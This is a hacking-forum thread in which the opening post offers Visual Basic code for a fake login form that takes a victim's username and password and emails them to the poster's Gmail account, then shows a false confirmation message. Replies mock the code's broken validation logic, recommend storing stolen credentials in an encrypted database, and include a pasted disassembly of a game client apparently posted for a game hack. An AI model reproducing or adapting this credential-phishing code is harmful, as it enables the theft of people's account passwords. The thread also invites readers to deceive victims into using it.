Visual Basic Phishing method!

Posts 1–15 of 16 · Page 1 of 2
Visual Basic Phishing method!
This tutorial is for educational purposes only. I'm not responsible for any damage you cause to anyone


The code:

Imports System.Net.Mail

If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Mising")
Else
End If
End if
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
smtpServer.Send(mail)
MsgBox("Done! This will take effect in 10 to 15 minutes!")

When you login to your email you will be asked to Enable something just click Enable.
People that know what their doing will use Code Reflector too see the code soo the method isn't fullproof. I have a thread on Code Reflector and how to use it

It should like this:
Just view it no need to download it
Quote Originally Posted by abo-dmar View Post
thx youuuuuuu
No problem dude.

Always willing to help!
Mate i have a code can u teach me how use (pm) if u can help me :P
Quote Originally Posted by \Anonymous/ View Post
Mate i have a code can u teach me how use (pm) if u can help me :P
What do you need?
I'm its 11:48 PM in my country soo ill be here tommorow
Just send me the code
I cant send u PM the code is

Code for programmer:

00673CB0 /$ 51 PUSH ECX
00673CB1 |. 837C24 0C 01 CMP DWORD PTR SS:[ESP+C],1
00673CB6 |. 53 PUSH EBX
00673CB7 |. 8B5C24 0C MOV EBX,DWORD PTR SS:[ESP+C]
00673CBB |. 55 PUSH EBP
00673CBC |. C64424 10 00 MOV BYTE PTR SS:[ESP+10],0
00673CC1 |. 75 05 JNZ SHORT Raiderz_.00673CC8
00673CC3 |. C64424 10 01 MOV BYTE PTR SS:[ESP+10],1
00673CC8 |> 8B6C24 10 MOV EBP,DWORD PTR SS:[ESP+10]
00673CCC |. D94424 18 FLD DWORD PTR SS:[ESP+18]
00673CD0 |. 55 PUSH EBP ; /Arg4
00673CD1 |. 51 PUSH ECX ; |Arg3
00673CD2 |. D91C24 FSTP DWORD PTR SS:[ESP] ; |
00673CD5 |. 57 PUSH EDI ; |Arg2
00673CD6 |. 56 PUSH ESI ; |Arg1
00673CD7 |. B9 60FCCD00 MOV ECX,Raiderz_.00CDFC60 ; |UNICODE "skill_casting"
00673CDC |. E8 CF040000 CALL Raiderz_.006741B0 ; \Raiderz_.006741B0
00673CE1 |. D94424 18 FLD DWORD PTR SS:[ESP+18]
00673CE5 |. 8BD3 MOV EDX,EBX
00673CE7 |. 84C0 TEST AL,AL
00673CE9 |. 74 0E JE SHORT Raiderz_.00673CF9
00673CEB |. 51 PUSH ECX ; /Arg2
00673CEC |. D91C24 FSTP DWORD PTR SS:[ESP] ; |
00673CEF |. 56 PUSH ESI ; |Arg1
00673CF0 |. 8BCF MOV ECX,EDI ; |
00673CF2 |. E8 F9060000 CALL Raiderz_.006743F0 ; \Raiderz_.006743F0
00673CF7 |. EB 11 JMP SHORT Raiderz_.00673D0A
00673CF9 |> 55 PUSH EBP ; /Arg4
00673CFA |. 51 PUSH ECX ; |Arg3
00673CFB |. D91C24 FSTP DWORD PTR SS:[ESP] ; |
00673CFE |. 57 PUSH EDI ; |Arg2
00673CFF |. 56 PUSH ESI ; |Arg1
00673D00 |. B9 E8FBCD00 MOV ECX,Raiderz_.00CDFBE8 ; |UNICODE "skill_casting_loop"
00673D05 |. E8 A6040000 CALL Raiderz_.006741B0 ; \Raiderz_.006741B0
00673D0A |> 8B86 C0000000 MOV EAX,DWORD PTR DS:[ESI+C0]
00673D10 |. 8378 70 02 CMP DWORD PTR DS:[EAX+70],2
00673D14 |. B0 01 MOV AL,1
00673D16 |. 75 06 JNZ SHORT Raiderz_.00673D1E
00673D18 |. 8B4C24 1C MOV ECX,DWORD PTR SS:[ESP+1C]
00673D1C |. 8801 MOV BYTE PTR DS:[ECX],AL
00673D1E |> 5D POP EBP
00673D1F |. 5B POP EBX
00673D20 |. 59 POP ECX
00673D21 \. C2 1000 RETN 10

Thx for help see u tomorrow
Quote Originally Posted by \Anonymous/ View Post
I cant send u PM the code is

Code for programmer:

00673CB0 /$ 51 PUSH ECX
00673CB1 |. 837C24 0C 01 CMP DWORD PTR SS:[ESP+C],1
00673CB6 |. 53 PUSH EBX
00673CB7 |. 8B5C24 0C MOV EBX,DWORD PTR SS:[ESP+C]
00673CBB |. 55 PUSH EBP
00673CBC |. C64424 10 00 MOV BYTE PTR SS:[ESP+10],0
00673CC1 |. 75 05 JNZ SHORT Raiderz_.00673CC8
00673CC3 |. C64424 10 01 MOV BYTE PTR SS:[ESP+10],1
00673CC8 |> 8B6C24 10 MOV EBP,DWORD PTR SS:[ESP+10]
00673CCC |. D94424 18 FLD DWORD PTR SS:[ESP+18]
00673CD0 |. 55 PUSH EBP ; /Arg4
00673CD1 |. 51 PUSH ECX ; |Arg3
00673CD2 |. D91C24 FSTP DWORD PTR SS:[ESP] ; |
00673CD5 |. 57 PUSH EDI ; |Arg2
00673CD6 |. 56 PUSH ESI ; |Arg1
00673CD7 |. B9 60FCCD00 MOV ECX,Raiderz_.00CDFC60 ; |UNICODE "skill_casting"
00673CDC |. E8 CF040000 CALL Raiderz_.006741B0 ; \Raiderz_.006741B0
00673CE1 |. D94424 18 FLD DWORD PTR SS:[ESP+18]
00673CE5 |. 8BD3 MOV EDX,EBX
00673CE7 |. 84C0 TEST AL,AL
00673CE9 |. 74 0E JE SHORT Raiderz_.00673CF9
00673CEB |. 51 PUSH ECX ; /Arg2
00673CEC |. D91C24 FSTP DWORD PTR SS:[ESP] ; |
00673CEF |. 56 PUSH ESI ; |Arg1
00673CF0 |. 8BCF MOV ECX,EDI ; |
00673CF2 |. E8 F9060000 CALL Raiderz_.006743F0 ; \Raiderz_.006743F0
00673CF7 |. EB 11 JMP SHORT Raiderz_.00673D0A
00673CF9 |> 55 PUSH EBP ; /Arg4
00673CFA |. 51 PUSH ECX ; |Arg3
00673CFB |. D91C24 FSTP DWORD PTR SS:[ESP] ; |
00673CFE |. 57 PUSH EDI ; |Arg2
00673CFF |. 56 PUSH ESI ; |Arg1
00673D00 |. B9 E8FBCD00 MOV ECX,Raiderz_.00CDFBE8 ; |UNICODE "skill_casting_loop"
00673D05 |. E8 A6040000 CALL Raiderz_.006741B0 ; \Raiderz_.006741B0
00673D0A |> 8B86 C0000000 MOV EAX,DWORD PTR DS:[ESI+C0]
00673D10 |. 8378 70 02 CMP DWORD PTR DS:[EAX+70],2
00673D14 |. B0 01 MOV AL,1
00673D16 |. 75 06 JNZ SHORT Raiderz_.00673D1E
00673D18 |. 8B4C24 1C MOV ECX,DWORD PTR SS:[ESP+1C]
00673D1C |. 8801 MOV BYTE PTR DS:[ECX],AL
00673D1E |> 5D POP EBP
00673D1F |. 5B POP EBX
00673D20 |. 59 POP ECX
00673D21 \. C2 1000 RETN 10

Thx for help see u tomorrow
Where did you get the code?
@WeedToThePeople

Anyone with 2 brain cells can copy paste how to send an email

Code:
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Mising")
Else
End If
End if
takes a real genius to **** up this logic..
Quote Originally Posted by abuckau907 View Post
@WeedToThePeople

Anyone with 2 brain cells can copy paste how to send an email

Code:
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Mising")
Else
End If
End if
takes a real genius to **** up this logic..
I know and i apologize
Are you serious? This has been all over the internet for years... Tons of YouTube tutorials and written guides. I have no idea why you would even post this... You just a C+P'er..
Not to be offensive but this is terrible for phishing cause windows and any anti-malware program will detect this. Also depending on the Victims OS, they may get an error message or permission to send an email. A true phishing program would consist of its own MySQL database and have the information encrypted into it. This way if the victim is smart and they try to decompile it like you said then your email info is easily retrievable... however an encrypted database is not.
Thanks, tested it with hotmail but it did not work anyway will help enough people
Quote Originally Posted by fipybox View Post
Thanks, tested it with hotmail but it did not work anyway will help enough people
only works with gmail to my knowledge, hotmail/outlook doesn't allow smtp.
Yup, i forgot the code (port) for hotmail and outlook.
Posts 1–15 of 16 · Page 1 of 2

Post a Reply

Similar Threads

Tags for this Thread

None

Talk with us